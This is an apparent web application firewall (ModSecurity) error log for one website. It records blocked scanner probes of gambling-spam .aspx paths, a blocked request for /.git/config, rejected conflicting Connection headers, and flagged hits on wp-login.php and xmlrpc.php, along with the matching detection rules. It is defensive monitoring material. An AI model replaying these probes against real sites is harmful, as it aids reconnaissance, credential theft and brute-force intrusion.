[Wed Mar 25 08:00:10.971087 2026] [:error] [pid 754:tid 779] [client 176.57.188.217:50864] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "acMlijisL3asPbA3CtjRLQAAAA4"]
[Wed Mar 25 08:00:13.085439 2026] [:error] [pid 756:tid 853] [client 176.57.188.217:50878] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "acMljTOaW6oylMIDBCTLPwAAAIM"]
[Wed Mar 25 08:00:15.172400 2026] [:error] [pid 26449:tid 26477] [client 176.57.188.217:50894] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "acMlj9pZ2T15NDqzAjGoOQAAAlg"]
[Wed Mar 25 08:00:17.353306 2026] [:error] [pid 754:tid 772] [client 176.57.188.217:47700] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "acMlkTisL3asPbA3CtjRMAAAAAc"]
[Wed Mar 25 08:00:19.357809 2026] [:error] [pid 754:tid 770] [client 176.57.188.217:47708] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "acMlkzisL3asPbA3CtjRNQAAAAU"]
[Wed Mar 25 08:00:21.574845 2026] [:error] [pid 47946:tid 47951] [client 176.57.188.217:47720] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "acMllTipQTqBMSeKYhceAgAAAQM"]
[Wed Mar 25 08:00:23.546420 2026] [:error] [pid 26449:tid 26464] [client 176.57.188.217:47732] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "acMll9pZ2T15NDqzAjGoPAAAAks"]
[Wed Mar 25 08:00:25.655252 2026] [:error] [pid 26449:tid 26458] [client 176.57.188.217:47744] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "acMlmdpZ2T15NDqzAjGoRwAAAkU"]
[Wed Mar 25 08:00:27.704520 2026] [:error] [pid 47946:tid 47955] [client 176.57.188.217:56518] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "acMlmzipQTqBMSeKYhceVgAAAQc"]
[Wed Mar 25 08:00:29.724630 2026] [:error] [pid 26449:tid 26475] [client 176.57.188.217:56522] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "acMlndpZ2T15NDqzAjGoTAAAAlY"]
[Wed Mar 25 08:00:31.910308 2026] [:error] [pid 47989:tid 48000] [client 176.57.188.217:56534] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "acMlnyWKdJMhIccROjmmrgAAAUk"]
[Wed Mar 25 08:00:33.945288 2026] [:error] [pid 755:tid 846] [client 176.57.188.217:56542] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "acMloaS6bdaeEwgCGwpPnAAAAFc"]
[Wed Mar 25 08:00:36.007918 2026] [:error] [pid 26449:tid 26462] [client 176.57.188.217:56544] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "acMlpNpZ2T15NDqzAjGoWAAAAkk"]
[Wed Mar 25 08:01:13.450899 2026] [:error] [pid 26449:tid 26455] [client 176.57.188.217:42986] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "acMlydpZ2T15NDqzAjGozgAAAkI"]
[Wed Mar 25 08:01:15.345725 2026] [:error] [pid 756:tid 865] [client 176.57.188.217:36638] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "acMlyzOaW6oylMIDBCTLcgAAAI0"]
[Wed Mar 25 08:01:17.263839 2026] [:error] [pid 754:tid 778] [client 176.57.188.217:43150] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "acMlzTisL3asPbA3CtjRQgAAAA0"]
[Wed Mar 25 08:01:19.281971 2026] [:error] [pid 756:tid 857] [client 176.57.188.217:43152] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "acMlzzOaW6oylMIDBCTLdgAAAIU"]
[Wed Mar 25 08:01:21.354640 2026] [:error] [pid 26269:tid 26278] [client 176.57.188.217:43160] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "acMl0Un7e-ZQbaIs7qyB5wAAAYI"]
[Wed Mar 25 08:01:23.443546 2026] [:error] [pid 754:tid 788] [client 176.57.188.217:43168] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "acMl0zisL3asPbA3CtjRSAAAABc"]
[Wed Mar 25 08:01:25.384732 2026] [:error] [pid 892:tid 901] [client 176.57.188.217:43180] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "acMl1ST_G8WMU3T3yxpTWwAAAMQ"]
[Wed Mar 25 08:01:27.509344 2026] [:error] [pid 26449:tid 26463] [client 176.57.188.217:53928] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "acMl19pZ2T15NDqzAjGo6gAAAko"]
[Wed Mar 25 08:01:29.590060 2026] [:error] [pid 47946:tid 47966] [client 176.57.188.217:53934] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "acMl2TipQTqBMSeKYhcejAAAARI"]
[Wed Mar 25 08:01:31.494993 2026] [:error] [pid 26449:tid 26457] [client 176.57.188.217:53946] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "acMl29pZ2T15NDqzAjGo9gAAAkQ"]
[Wed Mar 25 08:01:33.425093 2026] [:error] [pid 26449:tid 26458] [client 176.57.188.217:53954] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "acMl3dpZ2T15NDqzAjGo_gAAAkU"]
[Wed Mar 25 08:01:35.320003 2026] [:error] [pid 26449:tid 26465] [client 176.57.188.217:53960] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "acMl39pZ2T15NDqzAjGpAQAAAkw"]
[Wed Mar 25 08:01:37.221898 2026] [:error] [pid 26449:tid 26469] [client 176.57.188.217:49208] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "acMl4dpZ2T15NDqzAjGpBwAAAlA"]
[Wed Mar 25 08:01:39.140286 2026] [:error] [pid 754:tid 779] [client 176.57.188.217:49224] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "acMl4zisL3asPbA3CtjRSQAAAA4"]
[Wed Mar 25 08:01:41.031926 2026] [:error] [pid 26269:tid 26283] [client 176.57.188.217:49230] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "acMl5Un7e-ZQbaIs7qyB8AAAAYc"]
[Wed Mar 25 08:01:42.950793 2026] [:error] [pid 26269:tid 26292] [client 176.57.188.217:49246] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "acMl5kn7e-ZQbaIs7qyB8QAAAZA"]
[Wed Mar 25 08:01:45.014141 2026] [:error] [pid 47946:tid 47949] [client 176.57.188.217:49248] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "acMl6TipQTqBMSeKYhcekQAAAQE"]
[Wed Mar 25 08:01:46.881034 2026] [:error] [pid 47989:tid 47996] [client 176.57.188.217:34354] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "acMl6iWKdJMhIccROjmm_AAAAUU"]
[Wed Mar 25 08:01:48.786900 2026] [:error] [pid 756:tid 868] [client 176.57.188.217:34362] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "acMl7DOaW6oylMIDBCTLfQAAAJA"]
[Wed Mar 25 08:01:50.842931 2026] [:error] [pid 892:tid 917] [client 176.57.188.217:34376] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "acMl7iT_G8WMU3T3yxpTYwAAANI"]
[Wed Mar 25 08:01:52.720127 2026] [:error] [pid 756:tid 863] [client 176.57.188.217:34392] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "acMl8DOaW6oylMIDBCTLgAAAAIs"]
[Wed Mar 25 08:01:54.639674 2026] [:error] [pid 892:tid 908] [client 176.57.188.217:34402] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "acMl8iT_G8WMU3T3yxpTaQAAAMo"]
[Wed Mar 25 08:01:56.682486 2026] [:error] [pid 47946:tid 47961] [client 176.57.188.217:60810] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "acMl9DipQTqBMSeKYhcenQAAAQ0"]
[Wed Mar 25 08:01:58.627034 2026] [:error] [pid 47989:tid 48015] [client 176.57.188.217:60820] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "acMl9iWKdJMhIccROjmnCQAAAVg"]
[Wed Mar 25 08:02:00.549085 2026] [:error] [pid 26321:tid 26360] [client 176.57.188.217:60836] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "acMl-PKO65qqGZCSPZq05QAAAhM"]
[Wed Mar 25 08:02:02.590832 2026] [:error] [pid 47946:tid 47959] [client 176.57.188.217:60848] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "acMl-jipQTqBMSeKYhcenwAAAQs"]
[Wed Mar 25 08:02:04.567126 2026] [:error] [pid 47989:tid 47992] [client 176.57.188.217:60858] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "acMl_CWKdJMhIccROjmnMQAAAUE"]
[Wed Mar 25 08:02:06.450998 2026] [:error] [pid 755:tid 840] [client 176.57.188.217:56346] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "acMl_qS6bdaeEwgCGwpP1QAAAFE"]
[Wed Mar 25 08:02:08.478352 2026] [:error] [pid 26449:tid 26462] [client 176.57.188.217:56356] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "acMmANpZ2T15NDqzAjGpLgAAAkk"]
[Wed Mar 25 09:54:27.499583 2026] [:error] [pid 755:tid 838] [client 43.166.250.187:54184] [client 43.166.250.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acNAU6S6bdaeEwgCGwpeTQAAAE8"]
[Wed Mar 25 11:03:04.106826 2026] [:error] [pid 26449:tid 26459] [client 43.130.47.33:38000] [client 43.130.47.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "acNQaNpZ2T15NDqzAjESlwAAAkY"]
[Wed Mar 25 11:41:03.415108 2026] [:error] [pid 25969:tid 26034] [client 93.123.109.79:57745] [client 93.123.109.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "acNZTxd3aEUmOfdKja_NAAAAA8g"]
[Wed Mar 25 11:54:56.943321 2026] [:error] [pid 47989:tid 48011] [client 51.37.9.113:59326] [client 51.37.9.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.37.9.113, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acNckCWKdJMhIccROjkIFQAAAVQ"]
[Wed Mar 25 12:31:21.541804 2026] [:error] [pid 25969:tid 26034] [client 69.49.241.106:50402] [client 69.49.241.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.49.241.106, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acNlGRd3aEUmOfdKja_a0wAAA8g"]
[Wed Mar 25 12:31:23.738061 2026] [:error] [pid 25969:tid 26030] [client 69.49.241.106:50402] [client 69.49.241.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.49.241.106, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acNlGxd3aEUmOfdKja_a2QAAA8Q"], referer: https://gigfragments.org/wp-login.php
[Wed Mar 25 12:39:15.060303 2026] [:error] [pid 47989:tid 48002] [client 50.87.144.36:59750] [client 50.87.144.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.87.144.36, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acNm8yWKdJMhIccROjkOrQAAAUs"]
[Wed Mar 25 12:39:16.796026 2026] [:error] [pid 47989:tid 48012] [client 50.87.144.36:59750] [client 50.87.144.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.87.144.36, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acNm9CWKdJMhIccROjkOrgAAAVU"], referer: https://gigfragments.org/wp-login.php
[Wed Mar 25 15:31:55.078974 2026] [:error] [pid 25875:tid 25888] [client 43.157.62.101:45428] [client 43.157.62.101] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acOPaxJ38QkS3NyfshyvmAAAAoc"]
[Wed Mar 25 16:41:58.155040 2026] [:error] [pid 47989:tid 47994] [client 43.163.104.54:53554] [client 43.163.104.54] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "acOf1iWKdJMhIccROjl3CAAAAUM"]
[Wed Mar 25 16:45:35.470061 2026] [:error] [pid 47989:tid 47993] [client 103.28.36.205:37158] [client 103.28.36.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.205, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acOgryWKdJMhIccROjl4fgAAAUI"]
[Wed Mar 25 16:45:37.315806 2026] [:error] [pid 47989:tid 48005] [client 103.28.36.205:37158] [client 103.28.36.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.205, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acOgsSWKdJMhIccROjl4fwAAAU4"], referer: https://gigfragments.org/wp-login.php
